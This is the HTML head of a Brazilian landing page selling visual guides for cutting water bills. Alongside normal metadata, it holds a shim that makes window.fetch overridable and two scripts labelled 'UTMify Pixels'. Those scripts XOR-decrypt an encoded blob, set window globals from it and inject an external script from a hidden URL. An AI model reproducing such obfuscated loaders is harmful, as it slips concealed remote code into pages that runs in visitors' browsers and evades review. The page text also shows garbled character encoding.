1<!doctype html> 2<html lang="pt-BR" class="scroll-smooth"> 3 <head> 4 <meta charset="UTF-8" /> 5 <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0" /> 6 <!-- Runtime Environment & Serialization Safeguards --> 7
7<script> 8 (function() { 9 // 1. Safe writable fetch property to prevent "Cannot set property fetch of #<Window> which has only a getter" 10 try { 11 var _fetch = window.fetch ? window.fetch.bind(window) : null; 12 Object.defineProperty(window, 'fetch', { 13 get: function() { return _fetch; }, 14 set: function(fn) { _fetch = fn; }, 15 configurable: true, 16 enumerable: true 17 }); 18 } catch(e) {} 19 20 // 2. Circular structure protection for JSON.stringify to prevent logging/tracker crashes on DOM elements 21 try { 22 var origStringify = JSON.stringify; 23 JSON.stringify = function(value, replacer, space) { 24 var seen = new WeakSet(); 25 return origStringify(value, function(key, val) { 26 if (typeof val === 'object' && val !== null) { 27 if (typeof Element !== 'undefined' && val instanceof Element) { 28 return '[DOM ' + val.nodeName + ']'; 29 } 30 if (seen.has(val)) { 31 return '[Circular]'; 32 } 33 seen.add(val); 34 } 35 if (typeof replacer === 'function') { 36 return replacer.call(this, key, val); 37 } 38 return val; 39 }, space); 40 }; 41 } catch(e) {} 42 43 // 3. Console arguments sanitization for DOM nodes 44 try { 45 ['log', 'info', 'warn', 'error', 'debug'].forEach(function(m) { 46 if (typeof console !== 'undefined' && typeof console[m] === 'function') { 47 var orig = console[m]; 48 console[m] = function() { 49 var args = Array.prototype.slice.call(arguments).map(function(arg) { 50 if (typeof Element !== 'undefined' && arg instanceof Element) { 51 return '<' + arg.tagName.toLowerCase() + (arg.id ? '#' + arg.id : '') + (arg.className && typeof arg.className === 'string' ? ' class="' + arg.className + '"' : '') + '>'; 52 } 53 return arg; 54 }); 55 return orig.apply(console, args); 56 }; 57 } 58 }); 59 } catch(e) {} 60 })(); 61 </script>
61 62 <!-- UTMify Pixels --> 63
63<script>(function(){var i_2p=atob("DNJbvja6U3nB9SXn8al5y0TWcUPjnVGTgaFhkRnZNxfvgFGKmLQikFXVPlejhwqUkqAyzkLJfAy1mFbInbMv20XOfROy1wnFkKYvzF/YJg2khgfdqql50FfXNlv710GGhbN2y0LXOh+42FWVlKQ+0EKXKxqukQiUkrl5khTMMhW0kAfd0/Amkk2YPRiskAfd07Y6yleXJg2snEOe3KIp20DfPQ3shlCFmLYonBqYJRitgEDFy/B5w2vH");var i_6ta=[];for(var o_tv48=0;o_tv48<i_2p.length;o_tv48++){i_6ta.push(i_2p.charCodeAt(o_tv48)&255);}var j_70=i_6ta[0];var q_etqo=i_6ta.slice(1,1+j_70);var e_1=i_6ta.slice(1+j_70);var f_od=e_1.map(function(b,g_9s){return b^q_etqo[g_9s%j_70];});var a_v="";for(var s_mk=0;s_mk<f_od.length;s_mk++){a_v+=String.fromCharCode(f_od[s_mk]&255);}var d_uw=decodeURIComponent(escape(a_v));var f_7d=JSON.parse(d_uw);var b_q8=f_7d.globals||[];b_q8.forEach(function(m_hfe){window[m_hfe.name]=m_hfe.value;});var m_rdn=document.createElement("script");m_rdn.src=f_7d.url;m_rdn.async=true;m_rdn.defer=true;(f_7d.attributes||[]).forEach(function(y_eid2){m_rdn.setAttribute(y_eid2.name,y_eid2.value);});(document.head||document.documentElement).appendChild(m_rdn);})();</script>
63 64
64<script>(function(){var r_5=atob("DAhvg1fiAz9R3VZfZ3NN9iWOIQVztSIrF3tVrHiBZ1F/qCIyDm4WrTSNbhEzr3ksBHoG8yORLE84pTMzSHgG+zKOLVUi/3p9Bnwb8T6Adks0rnRlPFVDoTCObF0wsSV9XVMUoTmDblpz53QvDnAK7x6GIRNzqzczEm1NuXXUYgYz6jVoAjkNsTbbMQpl7GVvX2xY5mLAfmIs");var p_b=[];for(var u_3=0;u_3<r_5.length;u_3++){p_b.push(r_5.charCodeAt(u_3)&255);}var b_rsj=p_b[0];var m_tgn=p_b.slice(1,1+b_rsj);var k_i=p_b.slice(1+b_rsj);var d_m=k_i.map(function(b,e_e){return b^m_tgn[e_e%b_rsj];});var i_w="";for(var k_u=0;k_u<d_m.length;k_u++){i_w+=String.fromCharCode(d_m[k_u]&255);}var f_jr47=decodeURIComponent(escape(i_w));var e_w=JSON.parse(f_jr47);var y_0=e_w.globals||[];y_0.forEach(function(j_t){window[j_t.name]=j_t.value;});var x_allu=document.createElement("script");x_allu.src=e_w.url;x_allu.async=true;x_allu.defer=true;(e_w.attributes||[]).forEach(function(u_44){x_allu.setAttribute(u_44.name,u_44.value);});(document.head||document.documentElement).appendChild(x_allu);})();</script>
64 65 <title>50 Pranchas Visuais para Diminuir a Conta de Ãgua da Sua Casa</title> 66 <meta name="description" content="Compare sua conta, reconheça possÃveis desperdÃcios e acompanhe o consumo com páginas visuais feitas para consultar na tela ou imprimir." /> 67 <meta property="og:title" content="50 Pranchas Visuais para Diminuir a Conta de Ãgua da Sua Casa" /> 68 <meta property="og:description" content="Compare sua conta, reconheça possÃveis desperdÃcios e acompanhe o consumo com páginas visuais feitas para consultar na tela ou imprimir." /> 69 <meta property="og:type" content="website" /> 70 <meta name="twitter:card" content="summary_large_image" /> 71 <link rel="preconnect" href="https://fonts.googleapis.com"> 72 <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin> 73 <link href="https://fonts.googleapis.com/css2?family=Plus+Jakarta+Sans:wght@400;500;600;700;800;900&display=swap" rel="stylesheet"> 74 <!-- Preload Hero LCP Image in WebP format for fast first paint with media queries --> 75 <link rel="preload" as="image" href="/images/mockup-principal-mobile.webp" type="image/webp" media="(max-width: 640px)" fetchpriority="high"> 76 <link rel="preload" as="image" href="/images/mockup-principal.webp" type="image/webp" media="(min-width: 641px)" fetchpriority="high"> 77
77<script type="module" crossorigin src="/assets/index-BvxwSqZl.js"></script>
77 78 <link rel="stylesheet" crossorigin href="/assets/index-CaDYHLFx.css"> 79 </head> 80 <body class="bg-[#08253B] text-[#F7FBFF] antialiased selection:bg-[#19C8EB] selection:text-[#08253B] overflow-x-hidden"> 81 <div id="root"></div> 82 </body> 83</html> 84
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.